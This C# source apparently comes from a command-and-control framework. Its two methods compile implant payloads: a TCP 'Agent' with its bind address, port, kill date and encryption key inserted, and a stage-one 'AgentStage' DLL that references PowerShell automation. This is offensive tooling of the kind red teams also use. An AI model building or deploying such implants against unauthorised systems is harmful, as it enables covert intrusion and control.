public byte[] GenerateTcpPayload(PayloadRequest request) { TempPath = CreateTempDirectory(); var compilerRequest = new Compiler.CompilationRequest { AssemblyName = "Agent", OutputKind = (OutputKind)request.OutputType, Platform = Platform.AnyCpu, ReferenceDirectory = request.TargetFramework == TargetFramework.Net35 ? ReferencesDirectory + Path.DirectorySeparatorChar + "net35" : ReferencesDirectory + Path.DirectorySeparatorChar + "net40", TargetDotNetVersion = (Compiler.DotNetVersion)request.TargetFramework, SourceDirectory = TempPath, References = new List <Compiler.Reference> { new Compiler.Reference { File = "mscorlib.dll", Framework = (Compiler.DotNetVersion)request.TargetFramework, Enabled = true }, new Compiler.Reference { File = "System.dll", Framework = (Compiler.DotNetVersion)request.TargetFramework, Enabled = true }, new Compiler.Reference { File = "System.Core.dll", Framework = (Compiler.DotNetVersion)request.TargetFramework, Enabled = true }, new Compiler.Reference { File = "System.XML.dll", Framework = (Compiler.DotNetVersion)request.TargetFramework, Enabled = true }, new Compiler.Reference { File = "System.Runtime.Serialization.dll", Framework = (Compiler.DotNetVersion)request.TargetFramework, Enabled = true } } }; CloneAgentSourceCode(Listener.Type, TempPath); InsertBindAddress(); InsertBindPort(); InsertKillDate(request.KillDate); InsertCryptoKey(Convert.ToBase64String(Program.ServerController.CryptoController.EncryptionKey)); var result = Compiler.Compile(compilerRequest); RemoveTempDirectory(TempPath); return(result); }
public static byte[] GenerateStageOne(StageRequest request) { var tmpPath = CreateTempDirectory(); var compilerRequest = new Compiler.CompilationRequest { AssemblyName = "AgentStage", OutputKind = OutputKind.DynamicallyLinkedLibrary, Platform = Platform.AnyCpu, ReferenceDirectory = request.TargetFramework == TargetFramework.Net35 ? ReferencesDirectory + Path.DirectorySeparatorChar + "net35" : ReferencesDirectory + Path.DirectorySeparatorChar + "net40", TargetDotNetVersion = (Compiler.DotNetVersion)request.TargetFramework, SourceDirectory = tmpPath, References = new List<Compiler.Reference> { new Compiler.Reference { File = "mscorlib.dll", Framework = (Compiler.DotNetVersion)request.TargetFramework, Enabled = true }, new Compiler.Reference { File = "System.dll", Framework = (Compiler.DotNetVersion)request.TargetFramework, Enabled = true }, new Compiler.Reference { File = "System.Core.dll", Framework = (Compiler.DotNetVersion)request.TargetFramework, Enabled = true }, new Compiler.Reference { File = "System.Net.dll", Framework = (Compiler.DotNetVersion)request.TargetFramework, Enabled = true }, new Compiler.Reference { File = "System.IO.Pipes.dll", Framework = (Compiler.DotNetVersion)request.TargetFramework, Enabled = true }, new Compiler.Reference { File = "System.XML.dll", Framework = (Compiler.DotNetVersion)request.TargetFramework, Enabled = true }, new Compiler.Reference { File = "System.Runtime.Serialization.dll", Framework = (Compiler.DotNetVersion)request.TargetFramework, Enabled = true }, new Compiler.Reference { File = "System.Management.Automation.dll", Framework = (Compiler.DotNetVersion)request.TargetFramework, Enabled = true } } }; CloneStageOneSourceCode(tmpPath); return Compiler.Compile(compilerRequest); }